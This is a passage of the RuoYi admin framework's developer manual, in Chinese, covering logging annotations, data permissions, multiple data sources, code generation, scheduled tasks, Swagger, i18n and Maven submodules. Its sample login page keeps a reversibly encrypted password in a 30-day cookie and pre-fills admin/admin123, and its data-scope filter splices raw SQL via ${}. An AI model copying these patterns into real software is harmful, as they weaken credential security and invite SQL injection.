businessType | BusinessType | OTHER | 操作功能(OTHER 其他、INSERT 新增、UPDATE 修改、DELETE 刪除、GRANT 授權、EXPORT 導出、IMPORT 導入、FORCE 強退、GENCODE 生成代碼、CLEAN 清空數據) |
operatorType | OperatorType | MANAGE | 操作人類別(OTHER 其他、MANAGE 后台用戶、MOBILE 手機端用戶) |
isSaveRequestData | boolean | true | 是否保存請求的參數 |
isSaveResponseData | boolean | true | 是否保存響應的參數 |
2、自定義操作功能
1、在BusinessType
中新增業務操作類型如:
/**
* 測試
*/
TEST,
2、在sys_dict_data
字典數據表中初始化操作業務類型
insert into sys_dict_data values(25, 10, '測試', '10', 'sys_oper_type', '', 'primary', 'N', '0', 'admin', '2018-03-16 11-33-00', 'ry', '2018-03-16 11-33-00', '測試操作');
3、在Controller
中使用注解
@Log(title = "測試標題", businessType = BusinessType.TEST)
public AjaxResult test(...)
{
return success(...);
}
操作日志記錄邏輯實現代碼LogAspect.java(opens new window)
登錄系統(系統管理-操作日志)可以查詢操作日志列表和詳細信息。
十四、數據權限
在實際開發中,需要設置用戶只能查看哪些部門的數據,這種情況一般稱為數據權限。
例如對於銷售,財務的數據,它們是非常敏感的,因此要求對數據權限進行控制, 對於基於集團性的應用系統而言,就更多需要控制好各自公司的數據了。如設置只能看本公司、或者本部門的數據,對於特殊的領導,可能需要跨部門的數據, 因此程序不能硬編碼那個領導該訪問哪些數據,需要進行后台的權限和數據權限的控制。
提示
默認系統管理員admin
擁有所有數據權限(userId=1)
,默認角色擁有所有數據權限(如不需要數據權限不用設置數據權限操作)
1、注解參數說明
參數 | 類型 | 默認值 | 描述 |
---|---|---|---|
deptAlias | String | 空 | 部門表的別名 |
userAlias | String | 空 | 用戶表的別名 |
2、數據權限使用
1、在(系統管理-角色管理)設置需要數據權限的角色 目前支持以下幾種權限
- 全部數據權限
- 自定數據權限
- 部門數據權限
- 部門及以下數據權限
- 僅本人數據權限
2、在需要數據權限控制方法上添加@DataScope
注解,其中d
和u
用來表示表的別名
部門數據權限注解
@DataScope(deptAlias = "d")
public List<...> select(...)
{
return mapper.select(...);
}
部門及用戶權限注解
@DataScope(deptAlias = "d", userAlias = "u")
public List<...> select(...)
{
return mapper.select(...);
}
3、在mybatis
查詢底部標簽添加數據范圍過濾
<select id="select" parameterType="..." resultMap="...Result">
<include refid="select...Vo"/>
<!-- 數據范圍過濾 -->
${params.dataScope}
</select>
例如:用戶管理(未過濾數據權限的情況):
select u.user_id, u.dept_id, u.login_name, u.user_name, u.email
, u.phonenumber, u.password, u.sex, u.avatar, u.salt
, u.status, u.del_flag, u.login_ip, u.login_date, u.create_by
, u.create_time, u.remark, d.dept_name
from sys_user u
left join sys_dept d on u.dept_id = d.dept_id
where u.del_flag = '0'
例如:用戶管理(已過濾數據權限的情況):
select u.user_id, u.dept_id, u.login_name, u.user_name, u.email
, u.phonenumber, u.password, u.sex, u.avatar, u.salt
, u.status, u.del_flag, u.login_ip, u.login_date, u.create_by
, u.create_time, u.remark, d.dept_name
from sys_user u
left join sys_dept d on u.dept_id = d.dept_id
where u.del_flag = '0'
and u.dept_id in (
select dept_id
from sys_role_dept
where role_id = 2
)
結果很明顯,我們多了如下語句。通過角色部門表(sys_role_dept)
完成了數據權限過濾
and u.dept_id in (
select dept_id
from sys_role_dept
where role_id = 2
)
邏輯實現代碼 com.ruoyi.framework.aspectj.DataScopeAspect
提示
僅實體繼承BaseEntity
才會進行處理,SQL
語句會存放到BaseEntity
對象中的params
屬性中,然后在xml
中通過${params.dataScope}
獲取拼接后的語句。
十五、多數據源
在實際開發中,經常可能遇到在一個應用中可能需要訪問多個數據庫的情況,在項目中使用注解來完成此項功能。
在需要被切換數據源的Service
或Mapper
方法上添加@DataSource
注解,使用方法如下:
@DataSource(value = DataSourceType.MASTER)
public List<...> select(...)
{
return mapper.select(...);
}
其中value
用來表示數據源名稱,除MASTER
和SLAVE
其他均需要進行配置。
1、注解參數說明
參數 | 類型 | 默認值 | 描述 |
---|---|---|---|
value | DataSourceType | DataSourceType.MASTER | 主庫 |
2、多數據源使用
1、在application-druid.yml
配置從庫數據源
# 從庫數據源
slave:
# 從數據源開關/默認關閉
enabled: true
url: jdbc:mysql://localhost:3306/test?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8
username: root
password: password
2、在DataSourceType
類添加數據源枚舉
/**
* 從庫
*/
SLAVE
3、在DruidConfig
配置讀取數據源
@Bean
@ConfigurationProperties("spring.datasource.druid.slave")
@ConditionalOnProperty(prefix = "spring.datasource.druid.slave", name = "enabled", havingValue = "true")
public DataSource slaveDataSource(DruidProperties druidProperties)
{
DruidDataSource dataSource = DruidDataSourceBuilder.create().build();
return druidProperties.dataSource(dataSource);
}
4、在DruidConfig
類dataSource
方法添加數據源
setDataSource(targetDataSources, DataSourceType.SLAVE.name(), "slaveDataSource");
5、在需要使用多數據源方法或類上添加@DataSource
注解,其中value
用來表示數據源
@DataSource(value = DataSourceType.SLAVE)
public List<SysUser> selectUserList(SysUser user)
{
return userMapper.selectUserList(user);
}
@Service
@DataSource(value = DataSourceType.SLAVE)
public class SysUserServiceImpl
3、手動切換數據源
在需要切換數據源的方法中使用DynamicDataSourceContextHolder
類實現手動切換,使用方法如下:
public List<SysUser> selectUserList(SysUser user)
{
DynamicDataSourceContextHolder.setDataSourceType(DataSourceType.SLAVE.name());
List<SysUser> userList = userMapper.selectUserList(user);
DynamicDataSourceContextHolder.clearDataSourceType();
return userList;
}
邏輯實現代碼 com.ruoyi.framework.aspectj.DataSourceAspect
注意:目前配置了一個從庫,默認關閉狀態。如果不需要多數據源不用做任何配置。 另外可新增多個從庫。支持不同數據源(Mysql、Oracle、SQLServer)
提示
如果有Service
方法內多個注解無效的情況使用內部方法調用SpringUtils.getAopProxy(this).xxxxxx(xxxx)
;
十六、代碼生成
大部分項目里其實有很多代碼都是重復的,幾乎每個基礎模塊的代碼都有增刪改查的功能,而這些功能都是大同小異, 如果這些功能都要自己去寫,將會大大浪費我們的精力降低效率。所以這種重復性的代碼可以使用代碼生成。
1、默認配置
單應用在resources
目錄下的application.yml
,多模塊ruoyi-generator
中的resources
目錄下的generator.yml
,可以自己根據實際情況調整默認配置。
# 代碼生成
gen:
# 開發者姓名,生成到類注釋上
author: ruoyi
# 默認生成包路徑 system 需改成自己的模塊名稱 如 system monitor tool
packageName: com.ruoyi.system
# 自動去除表前綴,默認是false
autoRemovePre: false
# 表前綴(生成類名不會包含表前綴,多個用逗號分隔)
tablePrefix: sys_
2、單表結構
新建數據庫表結構(單表)
drop table if exists sys_student;
create table sys_student (
student_id int(11) auto_increment comment '編號',
student_name varchar(30) default '' comment '學生名稱',
student_age int(3) default null comment '年齡',
student_hobby varchar(30) default '' comment '愛好(0代碼 1音樂 2電影)',
student_sex char(1) default '0' comment '性別(0男 1女 2未知)',
student_status char(1) default '0' comment '狀態(0正常 1停用)',
student_birthday datetime comment '生日',
primary key (student_id)
) engine=innodb auto_increment=1 comment = '學生信息表';
3、樹表結構
新建數據庫表結構(樹表)
drop table if exists sys_product;
create table sys_product (
product_id bigint(20) not null auto_increment comment '產品id',
parent_id bigint(20) default 0 comment '父產品id',
product_name varchar(30) default '' comment '產品名稱',
order_num int(4) default 0 comment '顯示順序',
status char(1) default '0' comment '產品狀態(0正常 1停用)',
primary key (product_id)
) engine=innodb auto_increment=1 comment = '產品表';
4、主子表結構
新建數據庫表結構(主子表)
-- ----------------------------
-- 客戶表
-- ----------------------------
drop table if exists sys_customer;
create table sys_customer (
customer_id bigint(20) not null auto_increment comment '客戶id',
customer_name varchar(30) default '' comment '客戶姓名',
phonenumber varchar(11) default '' comment '手機號碼',
sex varchar(20) default null comment '客戶性別',
birthday datetime comment '客戶生日',
remark varchar(500) default null comment '客戶描述',
primary key (customer_id)
) engine=innodb auto_increment=1 comment = '客戶表';
-- ----------------------------
-- 商品表
-- ----------------------------
drop table if exists sys_goods;
create table sys_goods (
goods_id bigint(20) not null auto_increment comment '商品id',
customer_id bigint(20) not null comment '客戶id',
name varchar(30) default '' comment '商品名稱',
weight int(5) default null comment '商品重量',
price decimal(6,2) default null comment '商品價格',
date datetime comment '商品時間',
type char(1) default null comment '商品種類',
primary key (goods_id)
) engine=innodb auto_increment=1 comment = '商品表';
5、代碼生成使用
1、登錄系統(系統工具 -> 代碼生成 -> 導入對應表)
2、代碼生成列表中找到需要表(可預覽、編輯、同步、刪除生成配置)
3、點擊生成代碼會得到一個ruoyi.zip
執行sql
文件,按照包內目錄結構復制到自己的項目中即可
代碼生成支持編輯、預覽、同步
預覽:對生成的代碼提前預覽,防止出現一些不符合預期的情況。
同步:對原表的字段進行同步,包括新增、刪除、修改的字段處理。
修改:對生成的代碼基本信息、字段信息、生成信息做一系列的調整。
另外多模塊所有代碼生成的相關業務邏輯代碼在ruoyi-generator
模塊,不需要可以自行刪除模塊。
十七、定時任務
在實際項目開發中Web應用有一類不可缺少的,那就是定時任務。 定時任務的場景可以說非常廣泛,比如某些視頻網站,購買會員后,每天會給會員送成長值,每月會給會員送一些電影券; 比如在保證最終一致性的場景中,往往利用定時任務調度進行一些比對工作;比如一些定時需要生成的報表、郵件;比如一些需要定時清理數據的任務等。 所以我們提供方便友好的web界面,實現動態管理任務,可以達到動態控制定時任務啟動、暫停、重啟、刪除、添加、修改等操作,極大地方便了開發過程。
提示
關於定時任務使用流程
1、后台添加定時任務處理類(支持Bean
調用、Class
類調用)
Bean
調用示例:需要添加對應Bean
注解@Component
或@Service
。調用目標字符串:ryTask.ryParams('ry')
Class
類調用示例:添加類和方法指定包即可。調用目標字符串:com.ruoyi.quartz.task.RyTask.ryParams('ry')
/**
* 定時任務調度測試
*
* @author ruoyi
*/
@Component("ryTask")
public class RyTask
{
public void ryMultipleParams(String s, Boolean b, Long l, Double d, Integer i)
{
System.out.println(StringUtils.format("執行多參方法: 字符串類型{},布爾類型{},長整型{},浮點型{},整形{}", s, b, l, d, i));
}
public void ryParams(String params)
{
System.out.println("執行有參方法:" + params);
}
public void ryNoParams()
{
System.out.println("執行無參方法");
}
}
2、前端新建定時任務信息(系統監控 -> 定時任務)
任務名稱:自定義,如:定時查詢任務狀態
任務分組:根據字典sys_job_group
配置
調用目標字符串:設置后台任務方法名稱參數
執行表達式:可查詢官方cron
表達式介紹
執行策略:定時任務自定義執行策略
並發執行:是否需要多個任務間同時執行
狀態:是否啟動定時任務
備注:定時任務描述信息
3、點擊執行一次,測試定時任務是否正常及調度日志是否正確記錄,如正常執行表示任務配置成功。
執行策略詳解:
立即執行
(所有misfire
的任務會馬上執行)打個比方,如果9點misfire
了,在10:15系統恢復之后,9點,10點的misfire
會馬上執行
執行一次
(會合並部分的misfire
,正常執行下一個周期的任務)假設9,10的任務都misfire
了,系統在10:15分起來了。只會執行一次misfire
,下次正點執行。
放棄執行
(所有的misfire
不管,執行下一個周期的任務)
方法參數詳解:
字符串
(需要單引號''標識 如:ryTask.ryParams(’ry’)
)
布爾類型
(需要true false標識 如:ryTask.ryParams(true)
)
長整型
(需要L標識 如:ryTask.ryParams(2000L)
)
浮點型
(需要D標識 如:ryTask.ryParams(316.50D)
)
整型
(純數字即可)
cron表達式語法:
[秒] [分] [小時] [日] [月] [周] [年]
說明 | 必填 | 允許填寫的值 | 允許的通配符 |
---|---|---|---|
秒 | 是 | 0-59 | , - * / |
分 | 是 | 0-59 | , - * / |
時 | 是 | 0-23 | , - * / |
日 | 是 | 1-31 | , - * / |
月 | 是 | 1-12 / JAN-DEC | , - * ? / L W |
周 | 是 | 1-7 or SUN-SAT | , - * ? / L # |
年 | 是 | 1970-2099 | , - * / |
通配符說明:
*
表示所有值。 例如:在分的字段上設置 *,表示每一分鍾都會觸發
?
表示不指定值。使用的場景為不需要關心當前設置這個字段的值。例如:要在每月的10號觸發一個操作,但不關心是周幾,所以需要周位置的那個字段設置為”?” 具體設置為 0 0 0 10 * ?
-
表示區間。例如 在小時上設置 “10-12”,表示 10,11,12點都會觸發
,
表示指定多個值,例如在周字段上設置 “MON,WED,FRI” 表示周一,周三和周五觸發
/
用於遞增觸發。如在秒上面設置”5/15” 表示從5秒開始,每增15秒觸發(5,20,35,50)。 在月字段上設置’1/3’所示每月1號開始,每隔三天觸發一次
L
表示最后的意思。在日字段設置上,表示當月的最后一天(依據當前月份,如果是二月還會依據是否是潤年[leap]), 在周字段上表示星期六,相當於”7”或”SAT”。如果在”L”前加上數字,則表示該數據的最后一個。例如在周字段上設置”6L”這樣的格式,則表示“本月最后一個星期五”
W
表示離指定日期的最近那個工作日(周一至周五). 例如在日字段上置”15W”,表示離每月15號最近的那個工作日觸發。如果15號正好是周六,則找最近的周五(14號)觸發, 如果15號是周未,則找最近的下周一(16號)觸發.如果15號正好在工作日(周一至周五),則就在該天觸發。如果指定格式為 “1W”,它則表示每月1號往后最近的工作日觸發。如果1號正是周六,則將在3號下周一觸發。(注,”W”前只能設置具體的數字,不允許區間”-“)
#
序號(表示每月的第幾個周幾),例如在周字段上設置”6#3”表示在每月的第三個周六.注意如果指定”#5”,正好第五周沒有周六,則不會觸發該配置(用在母親節和父親節再合適不過了) ;小提示:’L’和 ‘W’可以一組合使用。如果在日字段上設置”LW”,則表示在本月的最后一個工作日觸發;周字段的設置,若使用英文字母是不區分大小寫的,即MON與mon相同
常用表達式例子:
表達式 | 說明 |
---|---|
0 0 2 1 * ? * | 表示在每月的1日的凌晨2點調整任務 |
0 15 10 ? * MON-FRI | 表示周一到周五每天上午10:15執行作業 |
0 15 10 ? 6L 2002-2006 | 表示2002-2006年的每個月的最后一個星期五上午10:15執行作 |
0 0 10,14,16 * * ? | 每天上午10點,下午2點,4點 |
0 0/30 9-17 * * ? | 朝九晚五工作時間內每半小時 |
0 0 12 ? * WED | 表示每個星期三中午12點 |
0 0 12 * * ? | 每天中午12點觸發 |
0 15 10 ? * * | 每天上午10:15觸發 |
0 15 10 * * ? | 每天上午10:15觸發 |
0 15 10 * * ? * | 每天上午10:15觸發 |
0 15 10 * * ? 2005 | 2005年的每天上午10:15觸發 |
0 * 14 * * ? | 在每天下午2點到下午2:59期間的每1分鍾觸發 |
0 0/5 14 * * ? | 在每天下午2點到下午2:55期間的每5分鍾觸發 |
0 0/5 14,18 * * ? | 在每天下午2點到2:55期間和下午6點到6:55期間的每5分鍾觸發 |
0 0-5 14 * * ? | 在每天下午2點到下午2:05期間的每1分鍾觸發 |
0 10,44 14 ? 3 WED | 每年三月的星期三的下午2:10和2:44觸發 |
0 15 10 ? * MON-FRI | 周一至周五的上午10:15觸發 |
0 15 10 15 * ? | 每月15日上午10:15觸發 |
0 15 10 L * ? | 每月最后一日的上午10:15觸發 |
0 15 10 ? * 6L | 每月的最后一個星期五上午10:15觸發 |
0 15 10 ? * 6L 2002-2005 | 2002年至2005年的每月的最后一個星期五上午10:15觸發 |
0 15 10 ? * 6#3 | 每月的第三個星期五上午10:15觸發 |
多模塊所有定時任務的相關業務邏輯代碼在ruoyi-quartz
模塊,可以自行調整或剔除
注意:不同數據源定時任務都有對應腳本,Oracle、Mysql已經有了,其他的可自行下載執行
十八、系統接口
在現在的開發過程中還有很大一部分公司都是以口口相傳的方式來進行前后端的聯調,而接口文檔很大一部分都只停留在了說說而已的地步,或者寫了代碼再寫文檔。 還有一點就是文檔的修改,定義好的接口並不是一成不變的,可能在開發過程中文檔修改不止一次的變化,這個時候就會很難受了。 只要不是強制性要求,沒人會願意寫這東西,而且在寫的過程中,一個字母的錯誤就會導致聯調時候的很大麻煩,但是通過Swagger
,我們可以省略了這一步,而且文檔出錯率近乎於零, 只要你在寫代碼的時候,稍加幾個注解,文檔自動生成。
1、在控制層Controller
中添加注解來描述接口信息如:
@Api("參數配置")
@Controller
@RequestMapping("/system/config")
public class ConfigController
2、在方法中配置接口的標題信息
@ApiOperation("查詢參數列表")
@ResponseBody
public TableDataInfo list(Config config)
{
startPage();
List<Config> list = configService.selectConfigList(config);
return getDataTable(list);
}
3、在系統工具-系統接口
測試相關接口
注意:SwaggerConfig可以指定根據注解或者包名掃描具體的API
API詳細說明
作用范圍 | API | 使用位置 |
---|---|---|
協議集描述 | @Api | 用於controller類上 |
對象屬性 | @ApiModelProperty | 用在出入參數對象的字段上 |
協議描述 | @ApiOperation | 用在controller的方法上 |
Response集 | @ApiResponses | 用在controller的方法上 |
Response | @ApiResponse | 用在 @ApiResponses里邊 |
非對象參數集 | @ApiImplicitParams | 用在controller的方法上 |
非對象參數描述 | @ApiImplicitParam | 用在@ApiImplicitParams的方法里邊 |
描述返回對象的意義 | @ApiModel | 用在返回對象類上 |
api
標記,用在類上,說明該類的作用。可以標記一個Controller
類做為Swagger
文檔資源,使用方式:
@Api(value = "/user", description = "用戶管理")
與Controller
注解並列使用。 屬性配置:
屬性名稱 | 備注 |
---|---|
value | url的路徑值 |
tags | 如果設置這個值、value的值會被覆蓋 |
description | 對api資源的描述 |
basePath | 基本路徑可以不配置 |
position | 如果配置多個Api 想改變顯示的順序位置 |
produces | For example, "application/json, application/xml" |
consumes | For example, "application/json, application/xml" |
protocols | Possible values: http, https, ws, wss. |
authorizations | 高級特性認證時配置 |
hidden | 配置為true 將在文檔中隱藏 |
ApiOperation
標記,用在方法上,說明方法的作用,每一個url
資源的定義,使用方式:
@ApiOperation("獲取用戶信息")
與Controller
中的方法並列使用,屬性配置:
屬性名稱 | 備注 |
---|---|
value | url的路徑值 |
tags | 如果設置這個值、value的值會被覆蓋 |
description | 對api資源的描述 |
basePath | 基本路徑可以不配置 |
position | 如果配置多個Api 想改變顯示的順序位置 |
produces | For example, "application/json, application/xml" |
consumes | For example, "application/json, application/xml" |
protocols | Possible values: http, https, ws, wss. |
authorizations | 高級特性認證時配置 |
hidden | 配置為true將在文檔中隱藏 |
response | 返回的對象 |
responseContainer | 這些對象是有效的 "List", "Set" or "Map".,其他無效 |
httpMethod | "GET", "HEAD", "POST", "PUT", "DELETE", "OPTIONS" and "PATCH" |
code | http的狀態碼 默認 200 |
extensions | 擴展屬性 |
ApiParam
標記,請求屬性,使用方式:
public TableDataInfo list(@ApiParam(value = "查詢用戶列表", required = true)User user)
與Controller中的方法並列使用,屬性配置:
屬性名稱 | 備注 |
---|---|
name | 屬性名稱 |
value | 屬性值 |
defaultValue | 默認屬性值 |
allowableValues | 可以不配置 |
required | 是否屬性必填 |
access | 不過多描述 |
allowMultiple | 默認為false |
hidden | 隱藏該屬性 |
example | 舉例子 |
ApiResponse
標記,響應配置,使用方式:
@ApiResponse(code = 400, message = "查詢用戶失敗")
與Controller
中的方法並列使用,屬性配置:
屬性名稱 | 備注 |
---|---|
code | http的狀態碼 |
message | 描述 |
response | 默認響應類 Void |
reference | 參考ApiOperation中配置 |
responseHeaders | 參考 ResponseHeader 屬性配置說明 |
responseContainer | 參考ApiOperation中配置 |
ApiResponses
標記,響應集配置,使用方式:
@ApiResponses({ @ApiResponse(code = 400, message = "無效的用戶") })
與Controller
中的方法並列使用,屬性配置:
屬性名稱 | 備注 |
---|---|
value | 多個ApiResponse配置 |
ResponseHeader
標記,響應頭設置,使用方法
@ResponseHeader(name="head",description="響應頭設計")
與Controller
中的方法並列使用,屬性配置:
屬性名稱 | 備注 |
---|---|
name | 響應頭名稱 |
description | 描述 |
response | 默認響應類 void |
responseContainer | 參考ApiOperation中配置 |
十九、防重復提交
在接口方法上添加@RepeatSubmit
注解即可,注解參數說明:
參數 | 類型 | 默認值 | 描述 |
---|---|---|---|
interval | int | 5000 | 間隔時間(ms),小於此時間視為重復提交 |
message | String | 不允許重復提交,請稍后再試 | 提示消息 |
示例1:采用默認參數
@RepeatSubmit
public AjaxResult addSave(...)
{
return success(...);
}
示例2:指定防重復時間和錯誤消息
@RepeatSubmit(interval = 1000, message = "請求過於頻繁")
public AjaxResult addSave(...)
{
return success(...);
}
二十、國際化支持
在我們開發WEB項目的時候,項目可能涉及到在國外部署或者應用,也有可能會有國外的用戶對項目進行訪問,那么在這種項目中, 為客戶展現的頁面或者操作的信息就需要使用不同的語言,這就是我們所說的項目國際化。 目前項目已經支持多語言國際化,接下來我們介紹如何使用。
1、后台國際化流程
1、修改I18nConfig
設置默認語言,如默認中文
:
// 默認語言,英文可以設置Locale.US
slr.setDefaultLocale(Locale.SIMPLIFIED_CHINESE);
2、修改配置application.yml
中的basename
國際化文件,默認是i18n
路徑下messages
文件
(比如現在國際化文件是xx_zh_CN.properties
、xx_en_US.properties
,那么basename
配置應為是i18n/xx
spring:
# 資源信息
messages:
# 國際化資源文件路徑
basename: static/i18n/messages
3、i18n
目錄文件下定義資源文件
美式英語 messages_en_US.properties
user.login.username=User name
user.login.password=Password
user.login.code=Security code
user.login.remember=Remember me
user.login.submit=Sign In
中文簡體 messages_zh_CN.properties
user.login.username=用戶名
user.login.password=密碼
user.login.code=驗證碼
user.login.remember=記住我
user.login.submit=登錄
4、java代碼使用MessageUtils
獲取國際化
MessageUtils.message("user.login.username")
MessageUtils.message("user.login.password")
MessageUtils.message("user.login.code")
MessageUtils.message("user.login.remember")
MessageUtils.message("user.login.submit")
2、前端國際化流程
1、package.json
中dependencies
節點添加vue-i18n
"vue-i18n": "7.3.2",
1
2、src
目錄下創建lang目錄,存放國際化文件
此處包含三個文件,分別是 index.js
zh.js
en.js
// index.js
import Vue from 'vue'
import VueI18n from 'vue-i18n'
import Cookies from 'js-cookie'
import elementEnLocale from 'element-ui/lib/locale/lang/en' // element-ui lang
import elementZhLocale from 'element-ui/lib/locale/lang/zh-CN'// element-ui lang
import enLocale from './en'
import zhLocale from './zh'
Vue.use(VueI18n)
const messages = {
en: {
...enLocale,
...elementEnLocale
},
zh: {
...zhLocale,
...elementZhLocale
}
}
const i18n = new VueI18n({
// 設置語言 選項 en | zh
locale: Cookies.get('language') || 'en',
// 設置文本內容
messages
})
export default i18n
// zh.js
export default {
login: {
title: '若依后台管理系統',
logIn: '登錄',
username: '賬號',
password: '密碼'
},
tagsView: {
refresh: '刷新',
close: '關閉',
closeOthers: '關閉其它',
closeAll: '關閉所有'
},
settings: {
title: '系統布局配置',
theme: '主題色',
tagsView: '開啟 Tags-View',
fixedHeader: '固定 Header',
sidebarLogo: '側邊欄 Logo'
}
}
// en.js
export default {
login: {
title: 'RuoYi Login Form',
logIn: 'Log in',
username: 'Username',
password: 'Password'
},
tagsView: {
refresh: 'Refresh',
close: 'Close',
closeOthers: 'Close Others',
closeAll: 'Close All'
},
settings: {
title: 'Page style setting',
theme: 'Theme Color',
tagsView: 'Open Tags-View',
fixedHeader: 'Fixed Header',
sidebarLogo: 'Sidebar Logo'
}
}
3、在src/main.js
中增量添加i18n
import i18n from './lang'
// use添加i18n
Vue.use(Element, {
i18n: (key, value) => i18n.t(key, value)
})
new Vue({
i18n,
})
4、在src/store/getters.js
中添加language
language: state => state.app.language,
15、在src/store/modules/app.js
中增量添加i18n
const state = {
language: Cookies.get('language') || 'en'
}
const mutations = {
SET_LANGUAGE: (state, language) => {
state.language = language
Cookies.set('language', language)
}
}
const actions = {
setLanguage({ commit }, language) {
commit('SET_LANGUAGE', language)
}
}
6、在src/components/LangSelect/index.vue
中創建漢化組件
<template>
<el-dropdown trigger="click" class="international" @command="handleSetLanguage">
<div>
<svg-icon class-name="international-icon" icon-class="language" />
</div>
<el-dropdown-menu slot="dropdown">
<el-dropdown-item :disabled="language==='zh'" command="zh">
中文
</el-dropdown-item>
<el-dropdown-item :disabled="language==='en'" command="en">
English
</el-dropdown-item>
</el-dropdown-menu>
</el-dropdown>
</template>
<script>
export default {
computed: {
language() {
return this.$store.getters.language
}
},
methods: {
handleSetLanguage(lang) {
this.$i18n.locale = lang
this.$store.dispatch('app/setLanguage', lang)
this.$message({
message: '設置語言成功',
type: 'success'
})
}
}
}
</script>
7、登錄頁面漢化
<template>
<div class="login">
<el-form ref="loginForm" :model="loginForm" :rules="loginRules" class="login-form">
<h3 class="title">{{ $t('login.title') }}</h3>
<lang-select class="set-language" />
<el-form-item prop="username">
<el-input v-model="loginForm.username" type="text" auto-complete="off" :placeholder="$t('login.username')">
<svg-icon slot="prefix" icon-class="user" class="el-input__icon input-icon" />
</el-input>
</el-form-item>
<el-form-item prop="password">
<el-input
v-model="loginForm.password"
type="password"
auto-complete="off"
:placeholder="$t('login.password')"
@keyup.enter.native="handleLogin"
>
<svg-icon slot="prefix" icon-class="password" class="el-input__icon input-icon" />
</el-input>
</el-form-item>
<el-form-item prop="code">
<el-input
v-model="loginForm.code"
auto-complete="off"
placeholder="驗證碼"
style="width: 63%"
@keyup.enter.native="handleLogin"
>
<svg-icon slot="prefix" icon-class="validCode" class="el-input__icon input-icon" />
</el-input>
<div class="login-code">
<img :src="codeUrl" @click="getCode" />
</div>
</el-form-item>
<el-checkbox v-model="loginForm.rememberMe" style="margin:0px 0px 25px 0px;">記住密碼</el-checkbox>
<el-form-item style="width:100%;">
<el-button
:loading="loading"
size="medium"
type="primary"
style="width:100%;"
@click.native.prevent="handleLogin"
>
<span v-if="!loading">{{ $t('login.logIn') }}</span>
<span v-else>登 錄 中...</span>
</el-button>
</el-form-item>
</el-form>
<!-- 底部 -->
<div class="el-login-footer">
<span>Copyright © 2018-2019 ruoyi.vip All Rights Reserved.</span>
</div>
</div>
</template>
<script>
import LangSelect from '@/components/LangSelect'
import { getCodeImg } from "@/api/login";
import Cookies from "js-cookie";
import { encrypt, decrypt } from '@/utils/jsencrypt'
export default {
name: "Login",
components: { LangSelect },
data() {
return {
codeUrl: "",
cookiePassword: "",
loginForm: {
username: "admin",
password: "admin123",
rememberMe: false,
code: "",
uuid: ""
},
loginRules: {
username: [
{ required: true, trigger: "blur", message: "用戶名不能為空" }
],
password: [
{ required: true, trigger: "blur", message: "密碼不能為空" }
],
code: [{ required: true, trigger: "change", message: "驗證碼不能為空" }]
},
loading: false,
redirect: undefined
};
},
watch: {
$route: {
handler: function(route) {
this.redirect = route.query && route.query.redirect;
},
immediate: true
}
},
created() {
this.getCode();
this.getCookie();
},
methods: {
getCode() {
getCodeImg().then(res => {
this.codeUrl = "data:image/gif;base64," + res.img;
this.loginForm.uuid = res.uuid;
});
},
getCookie() {
const username = Cookies.get("username");
const password = Cookies.get("password");
const rememberMe = Cookies.get('rememberMe')
this.loginForm = {
username: username === undefined ? this.loginForm.username : username,
password: password === undefined ? this.loginForm.password : decrypt(password),
rememberMe: rememberMe === undefined ? false : Boolean(rememberMe)
};
},
handleLogin() {
this.$refs.loginForm.validate(valid => {
if (valid) {
this.loading = true;
if (this.loginForm.rememberMe) {
Cookies.set("username", this.loginForm.username, { expires: 30 });
Cookies.set("password", encrypt(this.loginForm.password), { expires: 30 });
Cookies.set('rememberMe', this.loginForm.rememberMe, { expires: 30 });
} else {
Cookies.remove("username");
Cookies.remove("password");
Cookies.remove('rememberMe');
}
this.$store
.dispatch("Login", this.loginForm)
.then(() => {
this.loading = false;
this.$router.push({ path: this.redirect || "/" });
})
.catch(() => {
this.loading = false;
this.getCode();
});
}
});
}
}
};
</script>
<style rel="stylesheet/scss" lang="scss">
.login {
display: flex;
justify-content: center;
align-items: center;
height: 100%;
background-image: url("../assets/image/login-background.jpg");
background-size: cover;
}
.title {
margin: 0px auto 30px auto;
text-align: center;
color: #707070;
}
.login-form {
border-radius: 6px;
background: #ffffff;
width: 400px;
padding: 25px 25px 5px 25px;
.el-input {
height: 38px;
input {
height: 38px;
}
}
.input-icon {
height: 39px;
width: 14px;
margin-left: 2px;
}
}
.login-tip {
font-size: 13px;
text-align: center;
color: #bfbfbf;
}
.login-code {
width: 33%;
height: 38px;
float: right;
img {
cursor: pointer;
vertical-align: middle;
}
}
.el-login-footer {
height: 40px;
line-height: 40px;
position: fixed;
bottom: 0;
width: 100%;
text-align: center;
color: #fff;
font-family: Arial;
font-size: 12px;
letter-spacing: 1px;
}
</style>
普通文本使用方式: {{ $t('login.title') }}
標簽內使用方式: :placeholder="$t('login.password')"
js內使用方式 this.$t('login.user.password.not.match')
二十一、新建子模塊
Maven
多模塊下新建子模塊流程案例。
1、新建業務模塊目錄,例如:ruoyi-test
。
2、在ruoyi-test
業務模塊下新建pom.xml
文件以及src\main\java
,src\main\resources
目錄。
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<parent>
<artifactId>ruoyi</artifactId>
<groupId>com.ruoyi</groupId>
<version>x.x.x</version>
</parent>
<modelVersion>4.0.0</modelVersion>
<artifactId>ruoyi-test</artifactId>
<description>
test系統模塊
</description>
<dependencies>
<!-- 通用工具-->
<dependency>
<groupId>com.ruoyi</groupId>
<artifactId>ruoyi-common</artifactId>
</dependency>
</dependencies>
</project>
3、根目錄pom.xml
依賴聲明節點dependencies
中添加依賴
<!-- 測試模塊-->
<dependency>
<groupId>com.ruoyi</groupId>
<artifactId>ruoyi-test</artifactId>
<version>${ruoyi.version}</version>
</dependency>
4、根目錄pom.xml
模塊節點modules
添加業務模塊
<module>ruoyi-test</module>
5、ruoyi-admin
目錄pom.xml
添加模塊依賴
<!-- 測試模塊-->
<dependency>
<groupId>com.ruoyi</groupId>
<artifactId>ruoyi-test</artifactId>
</dependency>
6、測試模塊
在ruoyi-test
業務模塊添加com.ruoyi.test
包,新建TestService.java
public class TestService
{
public String helloTest()
{
return "hello";
}
}
在ruoyi-admin
新建測試類,調用helloTest
成功返回hello
代表成功。
二十二、前端手冊
1、通用方法
.1、$tab對象
$tab
對象用於做頁簽操作、刷新頁簽、關閉頁簽、打開頁簽、修改頁簽等,它定義在plugins/tab.js
文件中,它有如下方法
- 打開頁簽
